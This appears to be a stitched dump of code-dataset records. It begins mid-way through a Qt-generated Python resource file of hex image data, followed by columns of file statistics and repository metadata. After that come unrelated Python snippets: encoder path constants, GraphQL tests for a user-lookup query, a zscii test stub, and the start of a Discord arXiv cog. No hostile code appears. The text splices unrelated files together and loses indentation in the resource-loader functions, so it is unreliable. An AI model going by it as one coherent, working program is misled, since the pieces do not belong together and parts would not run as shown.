\xef\xb7\x50\xae\x46\xef\x64\x86\x9d\x74\xaa\x47\xf6\x00\x39\x8a\
\xde\x49\xf5\x4b\x6a\x4f\xe1\x87\x89\x7e\x57\xed\x7b\xaa\x76\xc8\
\x20\x41\x4e\x12\x37\x0f\x9e\xdd\x34\x32\xfa\xf1\x23\xe7\x1b\xef\
\x3a\xf9\xc5\xad\x3f\x0a\x16\xc2\x7d\x20\xa9\x98\x9d\xcf\x5b\x92\
\x3a\x3b\xd3\x35\xb5\xbf\x18\x0e\x51\x23\x75\xc8\x59\xf4\x1a\x70\
\x8b\x6b\x7d\xfd\x92\xdc\x67\xef\xa9\x67\x0f\x30\x3f\xa2\x3f\xe0\
\x24\x7a\xb7\xf2\x59\x6b\xc8\x6b\x84\x92\x0f\x25\x5d\x91\x74\xcb\
\x43\x67\x37\xef\x6e\x36\x9b\x0b\xd6\xda\x72\xf0\x3a\x89\x16\xc1\
\x45\x06\x04\xdb\x6a\x3f\x7f\xee\x2e\x86\xe3\x42\xef\x89\xd0\x91\
\xfa\x54\xd8\x09\xce\xe1\xa1\x8f\x3f\xe5\xf5\x48\x1e\xb2\x07\xc8\
\x3f\xd1\x87\x84\x5b\xbe\x26\xba\x5f\xe7\x08\xda\xad\x52\x18\xee\
\x0a\xb7\x19\xcc\x10\x8c\x02\x75\x10\x48\xe9\x30\x59\x5e\xde\x6a\
\x6c\xdd\xa1\x14\xf5\xec\xb3\x06\xd9\x03\x64\x23\x79\x73\xe8\xb9\
\xba\x2b\xfa\x45\xb5\xa7\xca\x5d\x12\xaf\x52\x77\x44\x1f\xde\xef\
\x6f\x6a\xbf\x4c\xea\x9b\x62\x11\x1c\x52\x47\xea\xf3\x44\x69\xb1\
\xb6\xd8\x48\x2a\x7a\xea\xd9\x03\x4c\x86\xa6\xac\x6e\xc8\xea\xf5\
\xa8\xd0\xfb\xb4\xe8\xb3\xf4\x75\xb5\x37\xce\x71\xbf\x76\xd4\xc7\
\xd1\x5a\x6a\x4f\xfd\xbd\x19\xcc\x0a\x34\xc6\x48\xf4\x80\xd4\x61\
\x3a\xec\x48\x52\xad\x56\x55\xab\xd5\x52\xa9\x14\xaf\xde\xe5\xe5\
\x13\x86\x12\xb7\x90\x19\x61\x02\xed\x24\xd1\x96\xa4\x56\x97\xd8\
\x7c\x61\x4b\x56\xbf\x90\xd5\xcb\x92\x7e\x20\xe9\x7b\x92\xbe\xa3\
\xf6\x0a\xf7\x9b\x24\xbd\x55\x09\x56\xc9\x3b\xa2\x37\x6a\xaf\x5a\
\x0e\x1f\xb1\x0b\xb7\x8a\xbd\x81\xa0\x21\x4a\xe5\xe5\x4b\x36\xae\
\xd1\x33\x85\xe4\x76\x49\xfa\xdb\xbf\xfd\x7f\xf5\xf7\x7f\xff\xb5\
\x2e\xd9\xbb\xa9\x3e\xbc\x5f\x8f\xec\x21\xd7\x6b\x8f\x07\xef\xb1\
\x2b\x91\x1f\xbe\xbc\xb8\xf4\xee\xbf\x3f\xf0\xae\xc3\xcf\x2f\xfe\
\xf1\xa1\xe7\xea\xc7\x0e\x3d\x57\xbf\xfb\xd0\x73\xf5\x8f\x1c\x7a\
\xae\xfe\xa1\x43\x97\xeb\xa3\x9e\x4f\x0b\x6a\x2f\x80\x0b\xa7\xdb\
\xaf\x23\x7a\x92\x3a\x49\x1d\x42\x3e\xf4\xa1\x3f\xd1\xde\xde\x5e\
\x8f\xe8\x83\x64\x9f\xdb\xf7\x45\xf6\x10\xa6\xd6\xcd\x39\xfb\xb9\
\x9b\xb2\xda\x94\xd5\x3f\xf5\x93\xb9\xfa\x4c\xb7\x3b\xf7\xd6\xeb\
\xcd\x66\xf3\x80\xb5\xb6\xe7\x79\xf3\x91\x7f\xa6\xde\xe9\xf6\x26\
\x87\x98\x5f\x49\x1d\xa9\x43\x3f\x6a\xb5\xaa\x96\x96\x16\x5d\xb9\
\xe7\xf2\x98\x1d\xb2\x87\x38\xc2\x7b\xcb\xaf\xcc\xa8\xf0\x5b\xc1\
\x54\xfb\x2b\x92\x7e\xa4\xfd\x6a\x6a\xdf\x3f\x74\xb9\x7e\x40\xd2\
\xad\x4a\xb8\x21\x4d\x74\xba\xdd\x5a\x1b\x6e\x74\x13\x4e\xb9\x37\
\x34\xa5\xbd\xc4\x61\xbe\x92\x3a\xd3\xef\x30\x0a\xd6\x5a\x77\x0a\
\x7f\xa2\x05\xb0\x90\xbd\xdf\x89\xbe\x2a\xc9\xfc\xc1\xd7\x6f\x96\
\x8c\x5e\x96\xf4\x9b\x19\xf9\xb9\xdc\xa9\xf6\xf2\xa1\xcb\xf5\x77\
\x1e\x7e\x7e\xf1\x7d\x87\x9e\xab\x7f\xe8\xd0\x73\xf5\x3f\x0f\xa6\
\xda\x3f\x2c\xa9\x34\xc6\x74\x7b\x25\x10\xfb\x0d\xed\x6f\xf5\x4a\
\xd9\x5f\xe8\x92\x3a\xd3\xef\x90\x25\x9f\xfc\xe4\xb2\x5a\xad\x56\
\x78\x9d\x2b\x4d\x2a\xd5\x23\x7b\xbf\x45\x5f\x76\x46\x96\x65\x49\
\xbf\x90\x74\x45\xed\xcd\x56\x32\x1b\xc8\x06\x53\xed\x6f\xf4\x93\
\xb9\xfa\x6c\xf1\xea\x4c\xb5\x2f\x48\x3a\x68\xad\x75\xd7\x14\x34\
\x03\x49\x8f\xfa\xbc\x78\xf8\xf5\x61\x09\xd5\x3d\x31\xdd\xee\x2d\
\x4c\xbf\xc3\xa4\xd8\xd9\xe9\x3c\x31\x5b\x0d\xfc\x6b\xa8\x67\x0f\
\x79\x13\xee\xea\xb6\xb7\xbb\xbb\x6b\x64\xf4\x5f\x25\xfd\x44\xd2\
\x2f\x47\x50\xfa\xeb\xb2\xfa\x8d\xac\x7e\xae\xfd\xa9\xf6\x70\x65\
\xfb\x01\x49\xb7\x28\xc5\x54\xbb\x33\xdd\xbe\x60\xad\x0d\x37\xa6\
\x09\x47\xc2\xad\x40\xd4\x5c\x8c\x61\xa4\xa4\xce\xf4\x3b\x4c\x8b\
\x60\x61\x5e\x35\xb8\x7e\x35\x87\x15\xc4\xa1\x9e\x3d\x64\x93\xba\
\x03\x61\x5a\x6b\xad\xa4\xff\x4b\xd2\xff\x2c\xe9\x99\x04\x52\xee\
\x24\xf1\x77\xff\x97\x25\xf3\xce\xe7\x6a\x6f\xfd\xfd\xaf\xde\xf4\
\x8e\x77\xfd\x97\xa5\x7f\x7e\xf8\xf2\xe2\x9f\x06\x53\xed\x77\x1f\
\x7a\xae\x7e\xe7\x88\xd3\xec\xe1\xb1\x59\x0b\x52\xf7\x96\xf6\xa7\
\xdb\x11\x3d\x24\x92\x3a\x49\x1d\x66\x34\x64\x95\xc3\x6b\x30\xf5\
\xec\x21\x6f\x8c\xf3\x7f\x2b\xa9\xe5\xa4\xe9\xff\x18\x15\xba\x06\
\xac\x6a\x0f\x0e\xdc\x9b\xf6\xf6\xf6\x0e\xb4\x5a\xad\xb2\xb5\x36\
\xfc\x9c\x6d\x8d\xb7\xcb\x5b\x4b\xed\x95\xed\x37\x9c\xd7\xda\x13\
\x5b\xbd\x02\x52\x87\xf9\xe5\x80\xf6\x37\xd7\x9a\xe8\xd6\xb9\xc8\
\xde\xef\x64\xdf\xd2\x08\x65\x49\x9d\x81\x41\xa9\xd9\x6c\x2d\x1a\
\x63\x16\x9c\xe3\xa9\xa4\xfd\x47\xcf\x00\x90\x3a\xc0\x7e\xc0\x7a\
\x43\xed\x47\x72\x27\xbe\xf7\x06\xb2\xf7\x9b\xe6\x38\xa2\xd7\x7e\
\x4d\xf4\x5d\xed\x97\x49\xbd\x11\x4d\xf4\x63\x4c\xe5\x03\x52\x47\
\xea\x30\xaf\x72\xef\x59\x78\x1c\x09\x5b\x03\x53\x7d\xd6\x5b\xe7\
\x22\x7b\x7f\x53\x7d\x6a\xd1\x47\x08\x17\xca\xb9\x65\x52\xc3\xe9\
\x76\x2e\xd0\xd0\x97\xd3\x4f\x58\xeb\x36\xa4\x0e\x05\x13\xfb\xc8\
\xcf\xcf\xe7\xb9\x75\x2e\xb2\xf7\x37\x41\xb5\x16\x6b\x8b\x72\xdb\
\x6d\x5f\x7b\xeb\xd0\x16\xf9\x1a\x1b\x7d\x8d\x7e\x2d\xc9\x6b\xc7\
\xbc\xfe\x54\x5f\xfb\xb6\xaf\xe7\xf7\x33\xbb\xed\xf4\x13\xb6\xa7\
\x65\xf1\x1a\xe3\xbc\xde\xb0\xd7\x4c\xf0\xf5\x1d\x89\x47\xe5\xce\
\x19\x08\x88\x3d\x9e\xe5\xe5\x13\xa5\x70\x57\x3d\xea\xd9\x03\xc0\
\xac\xcd\x12\xc5\x35\x00\xc4\x3e\xa2\x8f\x29\x71\x0b\x00\x48\x1d\
\x60\xfe\xc5\xde\xef\xfb\xe7\x56\xf9\x0e\xd9\x03\x00\x52\x07\xc4\
\x3e\xdd\x9f\x27\x2c\x87\x2d\xea\xd9\x03\x00\x52\x07\x98\x6f\xb1\
\x0f\x23\xb7\x7d\x44\x90\x3d\x00\x52\x07\x40\xec\x53\x20\x58\x7d\
\x1f\xd6\x29\xc9\xb5\x3e\x07\xb2\x07\x40\xea\x00\x88\x7d\x0a\x2c\
\x2f\x9f\xa8\x4c\xea\x7c\x45\xf6\x00\x48\x1d\x00\xb1\x4f\x9e\x7a\
\xe0\xe0\x70\x37\xd3\x5c\x41\xf6\x00\x48\x1d\x00\xb1\x4f\xfe\x7d\
\x86\xa5\xb5\x27\x72\x6e\x23\x7b\x00\xa4\x0e\x30\x2b\x72\x2f\x0c\
\x5f\x7e\x7a\xad\xab\xc5\xd0\xd4\xf0\xda\x24\x99\xf5\x09\xb2\x07\
\x40\xea\x00\xa4\xf6\x31\x65\x3e\x4c\xee\x5f\x7e\x7a\x4d\xeb\xeb\
\x97\xc2\x66\x9d\x16\x5b\xe5\x8e\x12\xb7\x00\x48\x1d\x00\xb1\xcf\
\x5e\x52\x1f\x0b\x67\x20\xd0\x11\x7d\x96\x1b\xec\x20\x7b\x00\xa4\
\x0e\xe0\x85\xd8\xd3\x0a\x3b\x4f\xb9\x4f\x1a\x64\x0f\x80\xd4\x01\
\x0a\x21\xf6\x51\xa6\xd6\xd3\x7c\x3e\xb2\x07\x40\xea\x00\x88\x7d\
\xc6\x93\xba\xcf\x20\x7b\x40\xea\x48\x1d\x60\xa0\xd8\xb7\x1a\x5b\
\x33\xe3\x0a\xe4\x8e\xec\x01\x86\x09\x1d\xa9\x03\xa4\x4c\xec\x5b\
\x8d\x2d\x23\x69\x09\xc1\x23\x7b\x00\x52\x3a\x40\x01\xc4\xde\x87\
\x83\x9a\xc0\x0e\x6f\x83\x24\x0f\xc8\x1e\x90\x3a\x00\x64\x27\xf6\
\x68\xaa\x5f\xd2\x14\xee\xd5\x23\x79\x64\x0f\x48\x1d\x00\x26\xb7\
\x78\xce\x44\xfe\x8f\xe4\x91\x3d\x00\x52\x07\x98\x63\xb1\x0f\xfa\
\xfe\xdb\x48\x1e\xd9\x03\x20\x75\x80\x62\x88\x3d\xee\xe7\xd9\x5a\
\xac\x2d\xe6\x56\x6b\x1d\xc9\x23\x7b\x40\xea\x00\x88\x7d\xba\xec\
\x2e\xd6\x16\x1b\xa4\x79\x64\x0f\x48\x1d\xa9\x03\x14\x43\xec\x3d\
\x64\x29\x7a\x36\xc0\x41\xf6\x80\xd4\x01\x10\x7b\xc1\x40\xee\xc8\
\x1e\x90\x3a\x00\x62\x2f\xb8\xe0\x01\xd9\x03\x52\x07\x40\xec\x08\
\x1e\x90\x3d\x20\x75\x00\xc4\x3e\x0f\x92\x07\x64\x0f\x48\x1d\x60\
\x5e\xe5\x0e\x03\x12\x3c\x92\x47\xf6\x30\x19\xb1\x03\x00\xa9\x7d\
\x62\x04\xc5\x70\x00\xd9\x03\x00\x20\xf6\x22\xca\xfc\xcb\x4f\xaf\
\x69\x7d\xfd\x12\x21\x03\xd9\x03\x00\x20\xf6\x69\x31\xca\xf4\xfa\
\x56\x63\xcb\x6c\x35\xb6\x16\xb6\x1a\x5b\xf5\xad\xc6\xd6\xcd\x92\
\x6a\xfd\x5e\x1b\x90\x3d\x00\x00\x62\x9f\xb0\xcc\x87\xc9\x7d\xd8\
\xe7\x3b\x49\xbd\x29\x69\x57\xed\x7d\xef\x77\xe2\x5e\x03\x90\x3d\
\x00\x00\x62\x9f\x91\xa4\x3e\x0a\xeb\xeb\x97\x5a\xeb\xeb\x97\x9a\
\xeb\xeb\x97\x76\xd6\xd7\x2f\xb5\x48\xf3\xc8\x1e\x00\x00\xb1\x4f\
\x48\xf0\xd3\xfe\x19\x00\xd9\x03\x00\x20\xf6\x31\x12\x7a\xd2\xa9\
\x78\x00\x64\x0f\x00\x88\x7d\x06\x65\x9e\xe4\x5e\x3a\x00\xb2\x07\
\x00\xc4\x3e\x67\x49\x1d\x00\xd9\x03\x00\x62\x2f\x90\xe0\x01\x90\
\x3d\x00\x20\x76\x04\x0f\x80\xec\x01\x00\xb1\xcf\x83\xe4\x01\x90\
\x3d\x00\x20\x76\x24\x0f\x80\xec\x01\x00\xb1\x23\x79\x00\x64\x0f\
\x00\x88\x1d\xc9\x03\x20\x7b\x00\x40\xec\xf9\x88\x1e\x00\xd9\x03\
\x00\x62\x9f\x91\xe4\x9d\x65\x02\x27\xcd\x03\xb2\x07\x00\xc4\x3e\
\x45\x99\x8f\x5b\xc5\x8d\x34\x0f\x80\xec\x01\xe6\x5d\xee\x24\xf5\
\x8c\x07\x0f\x00\xc8\x1e\x00\x48\xed\x19\x0b\x18\x00\x90\x3d\x00\
\x62\x9f\xf3\x74\x4e\x9a\x06\x40\xf6\x00\x88\x7d\x0e\xc4\x3e\xce\
\x7d\x74\x00\x40\xf6\x00\x88\x7d\xce\x92\x3a\x00\x20\x7b\x00\xc4\
\x5e\x80\xa9\x78\x00\x40\xf6\x00\x50\x90\xc5\x73\x08\x1e\x00\x90\
\x3d\x40\x81\xc4\x1e\x27\x79\x00\x00\x64\x0f\x88\xbd\xa0\xbb\xcf\
\x01\x00\x20\x7b\x40\xec\x05\x03\xc9\x03\x00\xb2\x07\xc4\x5e\x50\
\xb9\x23\x79\x00\x40\xf6\x80\xd8\x0b\x26\x75\xe4\x0e\x00\xc8\x1e\
\x10\x3b\x89\x1d\x00\x00\xd9\x03\x62\x9f\x65\xc1\x03\x00\x20\x7b\
\x40\xec\x73\x9a\xd0\x43\x91\x33\x25\x0f\x00\xc8\x1e\x10\xfb\x1c\
\xcb\x7c\x98\xc0\x11\x3b\x00\x20\x7b\x40\xec\x73\x24\x77\x00\x00\
\x64\x0f\x88\xbd\x60\x82\x07\x00\x40\xf6\x80\xd8\x0b\x92\xd0\x11\
\x3c\x00\x20\x7b\xf0\x59\xee\x73\x29\xf3\x34\x72\x47\xf0\x00\x80\
\xec\x81\xd4\x3e\x87\x49\x1d\x00\x00\x90\x3d\x62\x9f\xc3\xe9\x78\
\xe4\x0e\x00\x80\xec\xa1\x40\x62\x47\xf0\x00\x00\xc8\x1e\x0a\x28\
\xf6\x38\xc9\x03\x00\x00\xb2\x47\xec\x05\x91\x3a\xf7\xe0\x01\x00\
\x90\x3d\x62\x2f\xc8\x23\x6f\x48\x1d\x00\x00\xd9\x23\xf6\x02\xdd\
\x63\x47\xe6\x00\x00\xc8\x1e\xb1\x17\x70\x2a\x1e\x00\x00\x90\x3d\
\x62\x9f\xd3\x74\x1e\x15\x39\x82\x07\x00\x40\xf6\x88\x7d\x86\xc5\
\x3e\xca\x6e\x73\x08\x1e\x00\x00\xd9\x23\xf6\x39\x4b\xea\x00\x00\
\x80\xec\x61\x4e\xc5\x1e\x27\x78\x00\x00\x40\xf6\x30\xe7\x62\x47\
\xf0\x00\x00\x80\xec\x0b\x28\xf6\x38\xc9\x03\x00\x00\xf8\x2c\x7b\
\xb6\x94\x05\x00\x00\x64\x3f\x67\x58\xdf\xc4\x8e\xe4\x01\x00\xc0\
\x37\xd9\xef\xf8\x22\xf6\xa8\xe0\x91\x3c\x00\x00\x78\x21\xfb\x2f\
\x3f\xbd\x56\xff\xf2\xd3\x6b\x66\xd8\xf3\xe2\x45\x6a\x00\x00\x00\
\xbe\x25\x7b\x00\x00\x00\x40\xf6\x00\x00\x00\xc8\x1e\x00\x00\x00\
\x90\x3d\x00\x00\x00\x20\x7b\x00\x00\x00\x40\xf6\x00\x00\x00\x80\
\xec\x01\x00\x00\x00\xd9\x03\x00\x00\x00\xb2\x07\x00\x00\x00\x64\
\x0f\x00\x00\x80\xec\x01\x00\x00\x00\xd9\x03\x00\x00\x00\xb2\x07\
\x00\x00\x00\x64\x0f\x00\x00\x00\xc8\x1e\x00\x00\x00\x90\x3d\x00\
\x00\x00\x20\x7b\x00\x00\x00\x64\x0f\x00\x00\x00\xc8\x1e\x00\x00\
\x00\x90\x3d\x00\x00\x00\x20\x7b\x00\x00\x00\x40\xf6\x00\x00\x00\
\x80\xec\x01\x00\x00\x20\x01\xff\x7d\x00\xf8\x55\x03\x95\x96\xce\
\x29\xaa\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82\
"
qt_resource_name = b"\
\x00\x09\
\x0a\x6c\x78\x43\
\x00\x72\
\x00\x65\x00\x73\x00\x6f\x00\x75\x00\x72\x00\x63\x00\x65\x00\x73\
\x00\x0b\
\x04\x31\xad\x56\
\x00\x73\
\x00\x70\x00\x69\x00\x6e\x00\x6e\x00\x65\x00\x72\x00\x2e\x00\x67\x00\x69\x00\x66\
\x00\x0f\
\x07\xd5\x46\x23\
\x00\x6c\
\x00\x69\x00\x67\x00\x68\x00\x74\x00\x5f\x00\x73\x00\x74\x00\x79\x00\x6c\x00\x65\x00\x2e\x00\x71\x00\x73\x00\x73\
\x00\x0b\
\x0c\x91\x85\x87\
\x00\x65\
\x00\x5f\x00\x72\x00\x6f\x00\x75\x00\x6e\x00\x64\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x09\
\x06\x98\x83\x27\
\x00\x63\
\x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x05\xe2\x59\x27\
\x00\x6c\
\x00\x6f\x00\x67\x00\x6f\x00\x2e\x00\x70\x00\x6e\x00\x67\
"
qt_resource_struct_v1 = b"\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x02\
\x00\x00\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\
\x00\x00\x00\x8c\x00\x00\x00\x00\x00\x01\x00\x00\xfe\x8c\
\x00\x00\x00\x74\x00\x00\x00\x00\x00\x01\x00\x00\xf1\xe1\
\x00\x00\x00\x34\x00\x01\x00\x00\x00\x01\x00\x00\xe5\x7a\
\x00\x00\x00\x58\x00\x01\x00\x00\x00\x01\x00\x00\xe9\xfa\
"
qt_resource_struct_v2 = b"\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\
\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x02\
\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\
\x00\x00\x01\x5e\x23\xda\x61\xe7\
\x00\x00\x00\x8c\x00\x00\x00\x00\x00\x01\x00\x00\xfe\x8c\
\x00\x00\x01\x5e\x51\xb4\x87\x12\
\x00\x00\x00\x74\x00\x00\x00\x00\x00\x01\x00\x00\xf1\xe1\
\x00\x00\x01\x5e\x0f\x08\x57\xe5\
\x00\x00\x00\x34\x00\x01\x00\x00\x00\x01\x00\x00\xe5\x7a\
\x00\x00\x01\x5e\x4b\x9e\xce\x50\
\x00\x00\x00\x58\x00\x01\x00\x00\x00\x01\x00\x00\xe9\xfa\
\x00\x00\x01\x5e\x0e\xdf\x33\x6b\
"
qt_version = QtCore.qVersion().split('.')
if qt_version < ['5', '8', '0']:
rcc_version = 1
qt_resource_struct = qt_resource_struct_v1
else:
rcc_version = 2
qt_resource_struct = qt_resource_struct_v2
def qInitResources():
QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
| 65.416079
| 113
| 0.727193
| 98,925
| 408,458
| 3.002173
| 0.003083
| 0.250817
| 0.37074
| 0.487289
| 0.195431
| 0.191118
| 0.188397
| 0.186872
| 0.185841
| 0.184558
| 0
| 0.362081
| 0.01549
| 408,458
| 6,243
| 114
| 65.426558
| 0.376459
| 0.00037
| 0
| 0.135378
| 0
| 0.990525
| 0.00001
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0.000321
| false
| 0
| 0.000161
| 0
| 0.000482
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
bac4a042089334e3adfeebedfad652cd3e251fa0
| 692
|
py
|
Python
|
src/pipeline/preprocessing/paths.py
|
guyfreund/data_drift_detection
|
80ca5eb7445b17e04f2aa98c5f6d9ac1fe6d5ac5
|
[
"MIT"
] | null | null | null |
src/pipeline/preprocessing/paths.py
|
guyfreund/data_drift_detection
|
80ca5eb7445b17e04f2aa98c5f6d9ac1fe6d5ac5
|
[
"MIT"
] | 1
|
2021-12-12T22:13:58.000Z
|
2021-12-17T22:49:39.000Z
|
src/pipeline/preprocessing/paths.py
|
guyfreund/data_drift_detection
|
80ca5eb7445b17e04f2aa98c5f6d9ac1fe6d5ac5
|
[
"MIT"
] | null | null | null |
import os
# Encoding Mapping
BANK_MARKETING_LABEL_ENCODER_PATH_DEPLOYMENT = os.path.abspath(os.path.join(__file__, "..", "..", "preprocessing", "raw_files", "BanMarketingLabelEncoding.npy"))
GERMAN_CREDIT_LABEL_ENCODER_PATH_DEPLOYMENT = os.path.abspath(os.path.join(__file__, "..", "..", "preprocessing", "raw_files", "GermanCreditLabelEncoding.npy"))
# Encoding Mapping
BANK_MARKETING_LABEL_ENCODER_PATH_TRAINING = os.path.abspath(os.path.join(__file__, "..", "..", "preprocessing", "raw_files", "BanMarketingLabelEncoding.npy"))
GERMAN_CREDIT_LABEL_ENCODER_PATH_TRAINING = os.path.abspath(os.path.join(__file__, "..", "..", "preprocessing", "raw_files", "GermanCreditLabelEncoding.npy"))
| 69.2
| 161
| 0.768786
| 78
| 692
| 6.307692
| 0.282051
| 0.097561
| 0.130081
| 0.121951
| 0.98374
| 0.98374
| 0.98374
| 0.869919
| 0.869919
| 0.869919
| 0
| 0
| 0.060694
| 692
| 9
| 162
| 76.888889
| 0.756923
| 0.047688
| 0
| 0
| 0
| 0
| 0.335366
| 0.176829
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
baf204cc3ef3f5def6c98a0dd6060085eca28424
| 3,349
|
py
|
Python
|
users-backend/users/internal_api/tests/queries/test_user_by_email.py
|
pauloxnet/pycon
|
82b6eff76dcc785865ea3ffd97a45e931c0add26
|
[
"MIT"
] | 2
|
2017-07-18T21:51:25.000Z
|
2017-12-23T11:08:39.000Z
|
users-backend/users/internal_api/tests/queries/test_user_by_email.py
|
pauloxnet/pycon
|
82b6eff76dcc785865ea3ffd97a45e931c0add26
|
[
"MIT"
] | 23
|
2017-07-18T20:22:38.000Z
|
2018-01-05T05:45:15.000Z
|
users-backend/users/internal_api/tests/queries/test_user_by_email.py
|
pauloxnet/pycon
|
82b6eff76dcc785865ea3ffd97a45e931c0add26
|
[
"MIT"
] | 2
|
2017-07-18T21:27:33.000Z
|
2017-07-18T22:07:03.000Z
|
from ward import test
from users.tests.api import internalapi_graphql_client
from users.tests.factories import user_factory
from users.tests.session import db
@test("correctly gets the user when sending a valid email")
async def _(
internalapi_graphql_client=internalapi_graphql_client,
db=db,
user_factory=user_factory,
):
internalapi_graphql_client.force_service_login(issuer="association-backend")
user_1 = await user_factory(
email="testuser@user.it", fullname="Name", is_staff=False
)
await user_factory(email="testuser2@user.it", fullname="Another", is_staff=False)
await user_factory(email="testuser3@user.it", fullname="Name", is_staff=False)
query = """query($email: String!) {
userByEmail(email: $email) {
id
}
}"""
response = await internalapi_graphql_client.query(
query, variables={"email": user_1.email}
)
assert not response.errors
assert response.data["userByEmail"]["id"] == str(user_1.id)
@test("returns None when the email doesn't exist")
async def _(
internalapi_graphql_client=internalapi_graphql_client,
db=db,
user_factory=user_factory,
):
internalapi_graphql_client.force_service_login(issuer="association-backend")
await user_factory(email="testuser@user.it", fullname="Name", is_staff=False)
await user_factory(email="testuser2@user.it", fullname="Another", is_staff=False)
await user_factory(email="testuser3@user.it", fullname="Name", is_staff=False)
query = """query($email: String!) {
userByEmail(email: $email) {
id
}
}"""
response = await internalapi_graphql_client.query(
query, variables={"email": "testemail@email.it"}
)
assert not response.errors
assert response.data["userByEmail"] is None
@test("returns None with invalid email")
async def _(
internalapi_graphql_client=internalapi_graphql_client,
db=db,
user_factory=user_factory,
):
internalapi_graphql_client.force_service_login(issuer="association-backend")
await user_factory(email="testuser@user.it", fullname="Name", is_staff=False)
await user_factory(email="testuser2@user.it", fullname="Another", is_staff=False)
await user_factory(email="testuser3@user.it", fullname="Name", is_staff=False)
query = """query($email: String!) {
userByEmail(email: $email) {
id
}
}"""
response = await internalapi_graphql_client.query(
query, variables={"email": "testemail"}
)
assert not response.errors
assert response.data["userByEmail"] is None
@test("requires authentication")
async def _(
internalapi_graphql_client=internalapi_graphql_client,
db=db,
user_factory=user_factory,
):
await user_factory(email="testuser@user.it", fullname="Name", is_staff=False)
await user_factory(email="testuser2@user.it", fullname="Another", is_staff=False)
await user_factory(email="testuser3@user.it", fullname="Name", is_staff=False)
query = """query($email: String!) {
userByEmail(email: $email) {
id
}
}"""
response = await internalapi_graphql_client.query(
query, variables={"email": "testemail"}
)
assert response.errors[0]["message"] == "Forbidden"
assert response.data["userByEmail"] is None
| 31.59434
| 85
| 0.694237
| 403
| 3,349
| 5.575682
| 0.166253
| 0.102804
| 0.170895
| 0.11215
| 0.856698
| 0.856698
| 0.841122
| 0.841122
| 0.81798
| 0.81798
| 0
| 0.004376
| 0.181248
| 3,349
| 105
| 86
| 31.895238
| 0.815098
| 0
| 0
| 0.729412
| 0
| 0
| 0.28307
| 0
| 0
| 0
| 0
| 0
| 0.094118
| 1
| 0
| false
| 0
| 0.047059
| 0
| 0.047059
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
24404d1034177a86cf899166c4f650a30e0f2aab
| 71
|
py
|
Python
|
tests/test_zscii.py
|
swilcox/yazm-py
|
fef4496d6fb49682cf4182f5eb01df02fbf29268
|
[
"MIT"
] | null | null | null |
tests/test_zscii.py
|
swilcox/yazm-py
|
fef4496d6fb49682cf4182f5eb01df02fbf29268
|
[
"MIT"
] | null | null | null |
tests/test_zscii.py
|
swilcox/yazm-py
|
fef4496d6fb49682cf4182f5eb01df02fbf29268
|
[
"MIT"
] | null | null | null |
from zscii import zscii_to_ascii
def test_zscii_to_ascii():
pass
| 11.833333
| 32
| 0.774648
| 12
| 71
| 4.166667
| 0.666667
| 0.28
| 0.48
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.183099
| 71
| 5
| 33
| 14.2
| 0.862069
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 9
|
79e1daf6166f822e201a464700bcc0d5f7ed16ac
| 11,011
|
py
|
Python
|
src/cogs/arxivAPI.py
|
sdk2k01/S4DS-Bot
|
97e7ff26873ae7f516976f55319ccdd41e957505
|
[
"MIT"
] | 3
|
2021-07-21T16:23:43.000Z
|
2022-01-18T06:42:38.000Z
|
src/cogs/arxivAPI.py
|
sdk2k01/S4DS-Bot
|
97e7ff26873ae7f516976f55319ccdd41e957505
|
[
"MIT"
] | 11
|
2021-07-21T16:27:26.000Z
|
2022-01-17T18:10:51.000Z
|
src/cogs/arxivAPI.py
|
S4DS-IEM/S4DS-Bot
|
97e7ff26873ae7f516976f55319ccdd41e957505
|
[
"MIT"
] | 11
|
2021-07-21T16:22:57.000Z
|
2021-09-05T06:03:45.000Z
|
import discord
import urllib, urllib.request
from xml.dom import minidom
from discord.ext import commands
class arxiv(commands.Cog):
def __init__(self, client):
self.client = client
